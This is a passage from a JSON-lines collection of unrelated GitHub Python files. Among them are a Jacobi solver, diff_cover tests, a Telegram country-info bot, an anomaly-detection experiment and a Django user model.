bf.place(x=370, y=10, anchor=\"nw\")\r\n lbl = tkinter.Label(window, text=\"欢迎使用\", font=(\"FangSong\", 14))\r\n lbl.place(x=10, y=50, anchor=\"nw\")\r\n lbl2 = tkinter.Label(window, text=\"...\", font=(\"FangSong\", 14))\r\n lbl2.place(x=10, y=75, anchor=\"nw\")\r\n lblres = tkinter.Label(window, text=\"\", font=(\"FangSong\", 14))\r\n lblres.place(x=10, y=100, anchor=\"nw\")\r\n # 主窗口循环\r\n window.mainloop()\r\n","repo_name":"noob-dqt/Music_Retrieval","sub_path":"Shazam/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"41680711186","text":"import copy\nfrom math import log10, floor\n\n\nclass JacobiIteration:\n def __init__(self):\n self.operation_name = 'Jacobi Iteration Method'\n self.solution = []\n self.solution_steps = []\n \n @staticmethod\n def round_sig(x, sig=5):\n if x == 0:\n return 0\n return round(x, sig-int(floor(log10(abs(x))))-1)\n\n def getSolution(self, matrix, initialGuess, relativeError, MAX, precision):\n coefficientMatrix = [x[:-1] for x in matrix]\n b = [x[-1] for x in matrix]\n temp = copy.deepcopy(initialGuess)\n x = copy.deepcopy(initialGuess)\n maxNoIterations = MAX\n e = relativeError\n\n while maxNoIterations != 0 and e >= relativeError:\n e = 0\n for i in range(len(b)):\n numerator = b[i]\n for j in range(len(b)):\n if i != j:\n numerator -= x[j]*coefficientMatrix[i][j]\n temp[i] = self.round_sig(numerator / coefficientMatrix[i][i], precision)\n\n # take e after each iteration\n for i in range(len(b)):\n if temp[i] != 0:\n newError = (abs(temp[i]-x[i]) / abs(temp[i])) * 100\n e = max(e, newError)\n\n # after end of each iteration take a copy to x\n x = copy.deepcopy(temp)\n\n maxNoIterations -= 1\n text = f'Iteration [{MAX - maxNoIterations}]: X = {x} (E: {e})'\n self.solution_steps.append(text)\n self.solution = x\n return self.solution, self.solution_steps\n\n\nif __name__ == '__main__':\n test_class = JacobiIteration()\n a = [\n [12, 3, -5],\n [1, 5, 3],\n [3, 7, 13]\n ]\n bs = [1, 28, 76]\n initialGuess = [1, 0, 1]\n test = test_class.getSolution(a, bs, initialGuess, 0.8, 10)\n print(test)\n","repo_name":"membaby/matrix-calculator","sub_path":"operations/Jacobi.py","file_name":"Jacobi.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"24726380756","text":"\"\"\"\n@author: yangqiang\n@contact: whuhit2020@gmail.com\n@file: main.py\n@time: 2020/8/20 10:22\n\"\"\"\nfrom easyPlog import Plog\n\n\nif __name__ == '__main__':\n log = Plog('1.txt')\n\n log.log(\"asf\", 'fsaje', [1,2,3])","repo_name":"whuhit/easyPlog","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"32290337965","text":"import os\nimport random\n\nimport cbox\n\nfrom albopt import utils, neural_encoder, min_similarity\n\n\n@cbox.cmd\ndef main(\n files_pattern: str,\n r: float,\n output_name: str = 'out',\n min_ratio: float = 0.1,\n algo: str = 'albopt_pow2_max_c',\n):\n \"\"\"Selects unique images from dataset by minimizing similarity between\n images.\n\n :param files_pattern: file pattern (e.g. images/*.png)\n :param r: how many images or images fractions to take\n :param min_ratio: minimum value of r images to include in output\n :param output_name: the basename for output filename\n :param algo: the name of the weighting algorithm to use to compute w_i.\n one of - albopt, albopt_pow2, albopt_pow2_max_c, greedy, random\n \"\"\"\n images = list(utils.load_images(files_pattern))\n images = tuple(neural_encoder.add_vectors(images))\n images = list(min_similarity.compute(algo, images, R=r))\n\n images = [image for image in images if image.ratio >= min_ratio]\n\n os.makedirs(os.path.dirname(output_name), exist_ok=True)\n random.seed(42)\n random.shuffle(images)\n\n print('creating gif')\n utils.save_gif(images, f'{output_name}_gif.gif')\n\n print('creating collage')\n collage = utils.get_collage(images)\n collage.save(f'{output_name}_collage.png')\n\n os.system(f'tiv -h 160 -w 160 \"{output_name}_collage.png\"')\n\n\nif __name__ == '__main__':\n cbox.main(main)\n","repo_name":"shmuelamar/albopt","sub_path":"albopt/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"16561768166","text":"import numpy as np\nimport pickle\nimport cv2\nimport matplotlib.pyplot as plt\nimport sys\n\n# Parameters\nk = 6\nalpha = 1/30\nbeta = 1/30\n\n# Loading centers, uniqueness values, and distribution\nwith open('centers.pkl', 'rb') as f:\n\tcenters = pickle.load(f)\n\nwith open('uniq.pkl', 'rb') as f:\n\tU = pickle.load(f)\n\nwith open('distribution.pkl', 'rb') as f:\n\tD = pickle.load(f)\n\n# Normalizing uniqueness and distribution\nS = U*np.exp(-k*D)\n\n# Creating the final output\nI = cv2.imread(sys.argv[1])\nI = cv2.cvtColor(I, cv2.COLOR_BGR2Lab)\nh, w = I.shape[:2]\nfinal = np.zeros((h, w))\nfor i in range(h):\n\tfor j in range(w):\n\n\t\tci = I[i, j]\n\t\tpi = np.array([i, j])\n\n\t\tc = np.sum((centers[:, :3]-ci)**2, axis=1)\n\t\tp = np.sum((pi-centers[:, -2:])**2, axis=1)\n\t\tW = np.exp(-0.5*(alpha*c + beta*p))\n\t\tfinal[i, j] = S.dot(W)/np.sum(W)\n\nplt.imshow(final, cmap='gray')\n# plt.show()\nplt.savefig('results/assign')","repo_name":"VAIBHAV-2303/SaliencyFilters","sub_path":"src/assign.py","file_name":"assign.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"21273074427","text":"import os\nfrom selenium import webdriver\n\n\nclass Driver:\n def __init__(self):\n self.base_dir = os.path.dirname(os.path.abspath(__package__))\n self.chromedriver = os.path.join(self.base_dir, \"chromedriver.exe\")\n self.options = webdriver.ChromeOptions()\n #self.options.add_argument('headless')\n self.browser = webdriver.Chrome(executable_path=self.chromedriver, options=self.options)\n self.browser2 = webdriver.Chrome(executable_path=self.chromedriver, options=self.options)\n\n\n","repo_name":"floyd10/Nedviz","sub_path":"Driver/Driver.py","file_name":"Driver.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"16699862003","text":"# https://leetcode.com/problems/count-good-nodes-in-binary-tree/ , Medium\n\n# Optimal\n# T.C. - O(n)\n# S.C - O(n)\n\n\nclass Solution:\n def goodNodes(self, root: TreeNode) -> int:\n def dfs(root, maxVal):\n if root is None:\n return\n\n if max(maxVal, root.val) == root.val:\n self.count += 1\n maxVal = max(maxVal, root.val)\n\n dfs(root.left, maxVal)\n dfs(root.right, maxVal)\n\n self.count = 0\n dfs(root, float(\"-inf\"))\n return self.count\n","repo_name":"glowfi/DS","sub_path":"Programs/7_Trees/32_Count_good_nodes_in_Binary_Tree.py","file_name":"32_Count_good_nodes_in_Binary_Tree.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"16525593042","text":"# pylint: disable=missing-function-docstring\n\n\"\"\"Test for diff_cover.git_path\"\"\"\n\nimport pytest\n\nfrom diff_cover.git_path import GitPathTool\n\n\n@pytest.fixture(autouse=True)\ndef patch_git_path_tool(mocker):\n mocker.patch.object(GitPathTool, \"_root\", None)\n mocker.patch.object(GitPathTool, \"_cwd\", None)\n\n\n@pytest.fixture\ndef process(mocker):\n process_ = mocker.Mock()\n process_.returncode = 0\n return process_\n\n\n@pytest.fixture(autouse=True)\ndef subprocess(mocker, process):\n subprocess_ = mocker.patch(\"diff_cover.command_runner.subprocess\")\n subprocess_.Popen.return_value = process\n return subprocess_\n\n\ndef test_project_root_command(process, subprocess):\n process.communicate.return_value = (b\"/phony/path\", b\"\")\n\n GitPathTool.set_cwd(b\"/phony/path\")\n\n # Expect that the correct command was executed\n expected = [\"git\", \"rev-parse\", \"--show-toplevel\", \"--encoding=utf-8\"]\n subprocess.Popen.assert_called_with(\n expected, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n )\n\n\ndef test_relative_path(process):\n process.communicate.return_value = (b\"/home/user/work/diff-cover\", b\"\")\n\n expected = \"violations_reporter.py\"\n cwd = \"/home/user/work/diff-cover/diff_cover\"\n\n GitPathTool.set_cwd(cwd)\n path = GitPathTool.relative_path(\"diff_cover/violations_reporter.py\")\n\n # Expect relative path from diff_cover\n assert path == expected\n\n\ndef test_absolute_path(process):\n process.communicate.return_value = (\n b\"/home/user/work dir/diff-cover\\n--encoding=utf-8\\n\",\n b\"\",\n )\n\n expected = \"/home/user/work dir/diff-cover/other_package/file.py\"\n cwd = \"/home/user/work dir/diff-cover/diff_cover\"\n\n GitPathTool.set_cwd(cwd)\n path = GitPathTool.absolute_path(\"other_package/file.py\")\n\n # Expect absolute path to file.py\n assert path == expected\n\n\ndef test_set_cwd_unicode(process):\n process.communicate.return_value = (b\"\\xe2\\x94\\xbb\\xe2\\x94\\x81\\xe2\\x94\\xbb\", b\"\")\n\n expected = \"\\u253b\\u2501\\u253b/other_package/file.py\"\n cwd = \"\\\\u253b\\\\u2501\\\\u253b/diff_cover\\n--encoding=utf-8\\n\"\n\n GitPathTool.set_cwd(cwd)\n path = GitPathTool.absolute_path(\"other_package/file.py\")\n\n # Expect absolute path to file.py\n assert path == expected\n\n\ndef test_set_cwd_unicode_byte_passed_in_for_cwd(process):\n process.communicate.return_value = (\n b\"\\xe2\\x94\\xbb\\xe2\\x94\\x81\\xe2\\x94\\xbb\\n--encoding=utf-8\\n\",\n b\"\",\n )\n\n expected = \"\\u253b\\u2501\\u253b/other_package/file.py\"\n cwd = b\"\\\\u253b\\\\u2501\\\\u253b/diff_cover\"\n\n GitPathTool.set_cwd(cwd)\n path = GitPathTool.absolute_path(\"other_package/file.py\")\n\n # Expect absolute path to file.py\n assert path == expected\n","repo_name":"Bachmann1234/diff_cover","sub_path":"tests/test_git_path.py","file_name":"test_git_path.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","stars":637,"dataset":"github-code","pt":"2"} +{"seq_id":"6583006033","text":"import json\nfrom slack_sdk import WebClient\n\ntoken_str = \"SLACK_API_TOKEN\"\nclient = WebClient(token=token_str)\nresponse = client.conversations_history(channel=\"SLACK_CHANNEL_CODE\", limit=1000)\n\nwith open('./temp.json','w') as outfile:\n json.dump(response['messages'], outfile, indent=4, ensure_ascii=False)\n\nreplies = client.conversations_replies(channel=\"SLACK_CHANNEL_CODE\", limit=1000, ts = \"1642382967.028900\")\n\nwith open('./replies.json','w') as outfile:\n json.dump(replies['messages'], outfile, indent=4, ensure_ascii=False)","repo_name":"eritsi/aws_neptune","sub_path":"api_slack/for_record/read_slack.py","file_name":"read_slack.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"5167775605","text":"import collections\n\n\nclass NaiveBayesAlgorithmHashmap:\n \"\"\"朴素贝叶斯算法(仅支持离散型数据)\"\"\"\n\n def __init__(self, x, y):\n self.N = len(x) # 样本数\n self.n = len(x[0]) # 维度数\n\n count1 = collections.Counter(y) # 先验概率的分子,条件概率的分母\n count2 = [collections.Counter() for _ in range(self.n)] # 条件概率的分子\n for i in range(self.N):\n for j in range(self.n):\n count2[j][(x[i][j], y[i])] += 1\n\n # 计算先验概率和条件概率\n self.prior = {k: v / self.N for k, v in count1.items()}\n self.conditional = [{k: v / count1[k[1]] for k, v in count2[j].items()} for j in range(self.n)]\n\n def predict(self, x):\n best_y, best_score = 0, 0\n for y in self.prior:\n score = self.prior[y]\n for j in range(self.n):\n score *= self.conditional[j][(x[j], y)]\n if score > best_score:\n best_y, best_score = y, score\n return best_y\n","repo_name":"ChangxingJiang/Data-Mining-HandBook","sub_path":"code/naive_bayes/_naive_bayes_algorithm_hashmap.py","file_name":"_naive_bayes_algorithm_hashmap.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"2"} +{"seq_id":"39806001674","text":"import os\nimport pyrogram\nimport asyncio\nimport time\nfrom countryinfo import CountryInfo\nfrom pyrogram import Client, filters\nfrom pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton\n\nFayasNoushad = Client(\n \"Country Info Bot\",\n bot_token = os.environ[\"BOT_TOKEN\"],\n api_id = int(os.environ[\"API_ID\"]),\n api_hash = os.environ[\"API_HASH\"]\n)\n\nSTART_TEXT = \"\"\"\nHai {},\n\n`Iam a simple country Info bot. Give me a country name I will send the informations of the country.`\n\n👲 ᴍᴀɪɴᴛᴀɪɴᴇᴅ ʙʏ : [ʙx ʙᴏᴛᴢ](https://t.me/BX_Botz)\n\"\"\"\nHELP_TEXT = \"\"\"\n➠ `Just Send Me a Country Name`\n\n➠ `I Will Send Informations`\n\n👲 ᴍᴀɪɴᴛᴀɪɴᴇᴅ ʙʏ : [ʙx ʙᴏᴛᴢ](https://t.me/BX_Botz)\n\"\"\"\nABOUT_TEXT = \"\"\"\n➠ **Bot** : Country Info Bot\n\n➠ **Creator** : [ᴍʜᴅ ᴍᴜꜰᴀz](https://telegram.me/Mufaz123)\n\n➠ **Channel** : @BX_Botz\n\n➠ **Source** : [Click here](https://t.me/nokiyirunnoippokitum)\n\n➠ **Language** : [Python3](https://python.org/)\n\n➠ **Library** : [Pyrogram v1.2.0](https://pyrogram.org/)\n\n➠ **Server** : [Heroku](https://heroku.com/)\n\"\"\"\nSTART_BUTTONS = InlineKeyboardMarkup(\n [[\n InlineKeyboardButton('🤖 Update Channel', url='https://telegram.me/BX_Botz'),\n InlineKeyboardButton('👥Support Group', url='https://telegram.me/BxSupport')\n ],[\n InlineKeyboardButton('⚙️Help', callback_data='help'),\n InlineKeyboardButton('🔰About', callback_data='about')\n ]]\n )\nHELP_BUTTONS = InlineKeyboardMarkup(\n [[\n InlineKeyboardButton('🏠Home', callback_data='home'),\n InlineKeyboardButton('🔰About', callback_data='about'),\n InlineKeyboardButton('🔐Close', callback_data='close')\n ]]\n )\nABOUT_BUTTONS = InlineKeyboardMarkup(\n [[\n InlineKeyboardButton('🏠Home', callback_data='home'),\n InlineKeyboardButton('⚙️Help', callback_data='help'),\n InlineKeyboardButton('🔐Close', callback_data='close')\n ]]\n )\nERROR_BUTTON = InlineKeyboardMarkup(\n [[\n InlineKeyboardButton('🔰Help', callback_data='help'),\n InlineKeyboardButton('🔐Close', callback_data='close')\n ]]\n )\n\n@FayasNoushad.on_callback_query()\nasync def cb_data(bot, update):\n if update.data == \"home\":\n await update.message.edit_text(\n text=START_TEXT.format(update.from_user.mention),\n reply_markup=START_BUTTONS,\n disable_web_page_preview=True\n )\n elif update.data == \"help\":\n await update.message.edit_text(\n text=HELP_TEXT,\n reply_markup=HELP_BUTTONS,\n disable_web_page_preview=True\n )\n elif update.data == \"about\":\n await update.message.edit_text(\n text=ABOUT_TEXT,\n reply_markup=ABOUT_BUTTONS,\n disable_web_page_preview=True\n )\n else:\n await update.message.delete()\n\n@FayasNoushad.on_message(filters.private & filters.command([\"start\"]))\nasync def start(bot, update):\n await update.reply_text(\n text=START_TEXT.format(update.from_user.mention),\n disable_web_page_preview=True,\n reply_markup=START_BUTTONS\n )\n\n@FayasNoushad.on_message(filters.private & filters.text)\nasync def countryinfo(bot, update):\n country = CountryInfo(update.text)\n info = f\"\"\"\nName : `{country.name()}`\nNative Name : `{country.native_name()}`\nCapital : `{country.capital()}`\nPopulation : `{country.population()}`\nRegion : `{country.region()}`\nSub Region : `{country.subregion()}`\nTop Level Domains : `{country.tld()}`\nCalling Codes : `{country.calling_codes()}`\nCurrencies : `{country.currencies()}`\nResidence : `{country.demonym()}`\nTimezone : `{country.timezones()}`\n\"\"\"\n country_name = country.name()\n country_name = country_name.replace(\" \", \"+\")\n reply_markup=InlineKeyboardMarkup(\n [[\n InlineKeyboardButton('🤖 Update Channel', url=f'https://t.me/BX_Botz'),\n InlineKeyboardButton('👥Support Group', url=f'https://t.me/BX_Botz')\n ],[\n InlineKeyboardButton('💡Bot List', url='https://t.me/BX_Botz/31'),\n InlineKeyboardButton('Google', url='https://www.google.com/search?q=india')\n\n ]]\n )\n try:\n await update.reply_text(\n text=info,\n reply_markup=reply_markup,\n disable_web_page_preview=True\n )\n except Exception as error:\n print(error)\n\nFayasNoushad.run()\n","repo_name":"Madushankabro/Country-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"21427709169","text":"\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import fbeta_score\nimport os\nimport time\n\nfrom pyculiarity import detect_ts\n\nfrom azureml.core import Run\n\nimport argparse # for parsing input arguments\n\ndef running_avg(ts, com=6):\n rm_o = np.zeros_like(ts)\n rm_o[0] = ts[0]\n \n for r in range(1, len(ts)):\n curr_com = float(min(com, r))\n rm_o[r] = rm_o[r-1] + (ts[r] - rm_o[r-1])/(curr_com + 1)\n \n return rm_o\n\n\ndef detect_ts_online(df_smooth, window_size, stop):\n is_anomaly = False\n run_time = 9999\n start_index = max(0, stop - window_size)\n df_win = df_smooth.iloc[start_index:stop, :]\n start_time = time.time()\n results = detect_ts(df_win, alpha=0.05, max_anoms=0.02, only_last=None, longterm=False, e_value=False, direction='both')\n run_time = time.time() - start_time\n if results['anoms'].shape[0] > 0:\n timestamp = df_win['timestamp'].tail(1).values[0]\n if timestamp == results['anoms'].tail(1)['timestamp'].values[0]:\n is_anomaly = True\n return is_anomaly, run_time\n\n\ndef sample_run(df, anoms_batch, run, window_size = 500, com = 12, n_epochs=10):\n\n # create arrays that will hold the results of batch AD (y_true) and online AD (y_pred)\n y_true = [False] * n_epochs\n y_pred = [True] * n_epochs\n run_times = []\n\n # check which unique machines, sensors, and timestamps we have in the dataset\n machineIDs = df['machineID'].unique()\n sensors = df.columns[2:]\n timestamps = df['datetime'].unique()[window_size:]\n\n # sample n_machines_test random machines and sensors \n random_machines = np.random.choice(machineIDs, n_epochs)\n random_sensors = np.random.choice(sensors, n_epochs)\n\n # we intialize an array with that will later hold a sample of timetamps\n random_timestamps = np.random.choice(timestamps, n_epochs)\n\n for i in range(0, n_epochs):\n # take a slice of the dataframe that only contains the measures of one random machine\n df_s = df[df['machineID'] == random_machines[i]]\n \n # smooth the values of one random sensor, using our run_avg function\n smooth_values = running_avg(df_s[random_sensors[i]].values, com)\n\n # create a data frame with two columns: timestamp, and smoothed values\n df_smooth = pd.DataFrame(data={'timestamp': df_s['datetime'].values, 'value': smooth_values})\n\n # load the results of batch AD for this machine and sensor\n anoms_s = anoms_batch[((anoms_batch['machineID'] == random_machines[i]) & (anoms_batch['errorID'] == random_sensors[i]))]\n \n # only do anomaly detection online, if the batch solution actually found an anomaly\n if anoms_s.shape[0] > 0:\n # Let's make sure we have at least one anomaly in our sample! Otherwise it doesn't make sense to calculate\n # any performance metric. We can just use the timestamp of the last anomalys\n if i == 0:\n anoms_timestamps = anoms_s['datetime'].values\n random_timestamps[i] = anoms_timestamps[-1:][0]\n\n # select the row of the test case\n test_case = df_smooth[df_smooth['timestamp'] == random_timestamps[i]]\n test_case_index = test_case.index.values[0]\n\n # check whether the batch AD found an anomaly at that time stamps and copy into y_true at idx\n y_true_i = random_timestamps[i] in anoms_s['datetime'].values\n\n # perform online AD, and write result to y_pred\n y_pred_i, run_times_i = detect_ts_online(df_smooth, window_size, test_case_index)\n else:\n y_pred_i, y_true_i = 0, 0\n \n y_true[i] = y_true_i\n y_pred[i] = y_pred_i\n run_times.append(run_times_i)\n \n score = np.float(fbeta_score(y_true, y_pred, beta=2))\n print(\"fbeta_score: %s\" % round(score, 2))\n \n run.log('run_time', np.mean(run_times))\n run.log('fbeta_score', score)\n \n run.log('final_fbeta_score', np.float(score))\n\n \ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--data-folder', type=str, dest='data_folder', help='data folder mounting point')\n parser.add_argument('--window_size', type=int, dest='window_size', default=100, help='window size')\n parser.add_argument('--com', type=int, dest='com', default=12, help='Specify decay in terms of center of mass for running avg')\n parser.add_argument('--n_epochs', type=int, dest='n_epochs', default=1000, help='Specify decay in terms of center of mass for running avg')\n args = parser.parse_args()\n\n data_folder = os.path.join(args.data_folder, 'telemetry')\n window_size = args.window_size\n com = args.com\n n_epochs = args.n_epochs\n \n # start an Azure ML run\n run = Run.get_context()\n\n print(\"Reading data ... \", end=\"\")\n df = pd.read_csv(os.path.join(data_folder, 'telemetry.csv'))\n print(\"Done.\")\n\n print(\"Parsing datetime...\", end=\"\")\n df['datetime'] = pd.to_datetime(df['datetime'], format=\"%m/%d/%Y %I:%M:%S %p\")\n print(\"Done.\")\n \n print(\"Reading data ... \", end=\"\")\n anoms_batch = pd.read_csv(os.path.join(data_folder, 'anoms.csv'))\n anoms_batch['datetime'] = pd.to_datetime(anoms_batch['datetime'], format=\"%Y-%m-%d %H:%M:%S\")\n print(\"Done.\")\n\n print('Dataset is stored here: ', data_folder)\n\n sample_run(df, anoms_batch, run, window_size, com, n_epochs)\n\n \nif __name__== \"__main__\":\n main()\n","repo_name":"ChrisMBenson/LearnAI-ADPM","sub_path":"solutions/sample_run_AmlCompute.py","file_name":"sample_run_AmlCompute.py","file_ext":"py","file_size_in_byte":5472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"26393613170","text":"from numpy import array, concatenate, isnan, logical_not, median, nanmedian\nfrom numpy.random import choice\nfrom pandas import Series\n\nfrom ..grid import make_nd_grid\nfrom ..plot import plot_heat_map, plot_histogram\n\n\ndef summarize(nu_fe_sa, pl=True, title=\"Name\", n_he=int(1e6), n_hi=int(1e4)):\n nua_fe_sa = nu_fe_sa.values\n\n ro_ = nu_fe_sa.index.values\n\n ron = nu_fe_sa.index.name\n\n co_ = nu_fe_sa.columns.values\n\n con = nu_fe_sa.columns.name\n\n si = nua_fe_sa.size\n\n if pl and si <= n_he:\n plot_heat_map(nu_fe_sa, layout={\"title\": {\"text\": title}})\n\n else:\n print(nu_fe_sa.shape)\n\n na_fe_sa = isnan(nua_fe_sa)\n\n n_na = na_fe_sa.sum()\n\n if 0 < n_na:\n print(\"% NaN: {:.2%}\".format(n_na / si))\n\n if pl:\n plot_histogram(\n [\n Series(data=na_fe_sa.sum(axis=1), index=ro_, name=ron),\n Series(data=na_fe_sa.sum(axis=0), index=co_, name=con),\n ],\n layout={\n \"title\": {\"text\": title},\n \"xaxis\": {\"title\": {\"text\": \"N NaN\"}},\n },\n )\n\n if pl:\n plot_histogram(\n [\n Series(data=nanmedian(nua_fe_sa, axis=1), index=ro_, name=ron),\n Series(data=nanmedian(nua_fe_sa, axis=0), index=co_, name=con),\n ],\n layout={\n \"title\": {\"text\": title},\n \"xaxis\": {\"title\": {\"text\": \"(Not-NaN) Median\"}},\n },\n )\n\n go_fe_sa = logical_not(na_fe_sa)\n\n go_ = nua_fe_sa[go_fe_sa]\n\n if pl:\n la_ = array(\n [\n \"{} @ {}\".format(*la_)\n for la_ in make_nd_grid([ro_, co_])[go_fe_sa.ravel()]\n ]\n )\n\n if n_hi < si:\n print(\"Choosing {} for histogram\".format(n_hi))\n\n ie_ = concatenate(\n [choice(go_.size, n_hi, False), [go_.argmin(), go_.argmax()]]\n )\n\n go_ = go_[ie_]\n\n la_ = la_[ie_]\n\n plot_histogram(\n [Series(data=go_, index=la_, name=\"All\")],\n layout={\n \"title\": {\"text\": title},\n \"xaxis\": {\"title\": {\"text\": \"(Not-NaN) Number\"}},\n },\n )\n\n print(\"(Not-NaN) min: {:.2e}\".format(go_.min()))\n\n print(\"(Not-NaN) median: {:.2e}\".format(median(go_)))\n\n print(\"(Not-NaN) mean: {:.2e}\".format(go_.mean()))\n\n print(\"(Not-NaN) max: {:.2e}\".format(go_.max()))\n\n print(\"^\" * 80)\n","repo_name":"KwatMDPhD/CCAL.TODO","sub_path":"kwat/feature_by_sample/summarize.py","file_name":"summarize.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"8158560559","text":"# encoding: utf-8\nimport re\n\nfrom django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, UserManager, SiteProfileNotAvailable\nfrom django.core import validators\nfrom django.core.mail import send_mail\nfrom django.db import models\nfrom django.utils import timezone\nfrom django.utils.encoding import python_2_unicode_compatible\nfrom django.utils.http import urlquote\n\nfrom django.utils.translation import ugettext_lazy as _\n\n#from revengeapp.models import revengeExpLog, revengeExpType\n\n\n@python_2_unicode_compatible\nclass revengeLvl(models.Model):\n title = models.CharField(max_length=30,\n unique=True)\n points = models.IntegerField(verbose_name=_('Points'),\n default=1)\n\n def __str__(self):\n return self.title\n\n\nPROFILE_TYPES = (\n ('1', 'Público'),\n ('2', 'Amigos'),\n )\nPROFILE_SEX = (\n ('H', 'Hombre'),\n ('M', 'Mujer'),\n)\n\n\n@python_2_unicode_compatible\nclass revengeUser(AbstractBaseUser, PermissionsMixin):\n \"\"\"\n An abstract base class implementing a fully featured User model with\n admin-compliant permissions.\n\n Username, password and email are required. Other fields are optional.\n \"\"\"\n username = models.CharField(_('username'), max_length=255, unique=True,\n help_text=_('Letters, numbers and @/./+/-/_ characters'),\n validators=[\n validators.RegexValidator(re.compile('^[\\w.@+-]+$'), _('Enter a valid username.'), 'invalid')\n ])\n first_name = models.CharField(_('first name'), max_length=30, blank=True)\n last_name = models.CharField(_('last name'), max_length=30, blank=True)\n #TODO: unique=True,\n email = models.EmailField(_('email address'), blank=True)\n is_staff = models.BooleanField(_('staff status'), default=False,\n help_text=_('Designates whether the user can log into this admin '\n 'site.'))\n is_active = models.BooleanField(_('active'), default=True,\n help_text=_('Designates whether this user should be treated as '\n 'active. Unselect this instead of deleting accounts.'))\n date_joined = models.DateTimeField(_('date joined'), default=timezone.now)\n \n friends = models.ManyToManyField(\"self\", verbose_name=_('Friends'),\n related_name='friends',\n null=True,\n blank=True)\n avatar = models.ImageField(upload_to=\"avatars\", verbose_name=_('Avatar'),\n default='avatars/default/default_avatar.jpg',\n null=True,\n blank=True)\n experience_total = models.IntegerField(verbose_name=_('Total Experience'),\n null=True,\n default=0)\n experience_actual = models.IntegerField(verbose_name=_('Actual Experience'),\n null=True,\n default=0)\n level = models.ForeignKey(revengeLvl, verbose_name=_('Level'),\n related_name='level_of_user',\n null=True)\n privacy = models.CharField(max_length=1, verbose_name=_('Privacidad'),\n choices=PROFILE_TYPES,\n default=1)\n sex = models.CharField(max_length=1, verbose_name=_('Sexo'),\n choices=PROFILE_SEX,\n default=1,\n blank=True)\n city = models.CharField(max_length=130, verbose_name=_('Ciudad'),\n blank=True)\n state = models.CharField(max_length=130, verbose_name=_('Provincia'),\n blank=True)\n country = models.CharField(max_length=130, verbose_name=_('País'),\n blank=True)\n url_twitter = models.CharField(max_length=130, verbose_name=_('URL Twitter'),\n blank=True)\n url_fb = models.CharField(max_length=130, verbose_name=_('URL FB'),\n blank=True)\n url_gpus = models.CharField(max_length=130, verbose_name=_('URL G Plus'),\n blank=True)\n url_revenge = models.CharField(max_length=130, verbose_name=_('URL RB'),\n blank=True)\n about_you = models.TextField(max_length=900, verbose_name=_('Acerca de ti'),\n blank=True)\n alert_revengers = models.TextField(max_length=900, verbose_name=_('Aviso a vengadores'),\n blank=True)\n\n objects = UserManager()\n\n USERNAME_FIELD = 'username'\n REQUIRED_FIELDS = ['email']\n\n class Meta:\n verbose_name = _('user')\n verbose_name_plural = _('users')\n swappable = 'AUTH_USER_MODEL'\n\n def get_absolute_url(self):\n return \"/users/%s/\" % urlquote(self.username)\n\n def get_full_name(self):\n \"\"\"\n Returns the first_name plus the last_name, with a space in between.\n \"\"\"\n full_name = '%s %s' % (self.first_name, self.last_name)\n return full_name.strip()\n\n def get_short_name(self):\n \"Returns the short name for the user.\"\n return self.first_name\n\n def email_user(self, subject, message, from_email=None):\n \"\"\"\n Sends an email to this User.\n \"\"\"\n send_mail(subject, message, from_email, [self.email])\n\n def is_friend_of(self, friend):\n try:\n friend = self.objects.get(friend=friend)\n return True\n except self.DoesNotExist:\n return False\n\n def get_exp_total(self):\n experience = self.experience_total\n return self.check_exp_no_blank(experience)\n\n def get_exp_actual(self):\n experience = self.experience_actual\n return self.check_exp_no_blank(experience)\n\n def check_exp_no_blank(self, experience):\n if isinstance(experience, int) and experience != \"\":\n return experience\n else:\n return 0\n\n def add_exp(self, typeExpTag):\n from revengeapp.models import revengeExpType\n try:\n exp_type = revengeExpType.objects.get(tag=typeExpTag)\n except self.DoesNotExist:\n return False\n # Add total exp\n self.add_exp_total(exp_type.points)\n # Add Actual exp and update level if proceded\n self.add_exp_actual(exp_type.points)\n self.log_exp(exp_type)\n\n def add_exp_total(self, points):\n experience_total = self.get_exp_total()\n self.experience_total = experience_total + points\n self.save()\n\n def add_exp_actual(self, points):\n experience_actual = self.get_exp_actual()\n levelActual = revengeLvl.objects.get(id=self.level.id)\n if levelActual.points <= (experience_actual + points):\n expNexLevel = (experience_actual + points) - levelActual.points\n self.experience_actual = expNexLevel\n self.level = revengeLvl.objects.get(id=(self.level.id + 1))\n self.save()\n else:\n self.experience_actual = experience_actual + points\n self.save()\n\n def log_exp(self, exp_type, *arg, **kwarg):\n from revengeapp.models import revengeExpLog\n log = 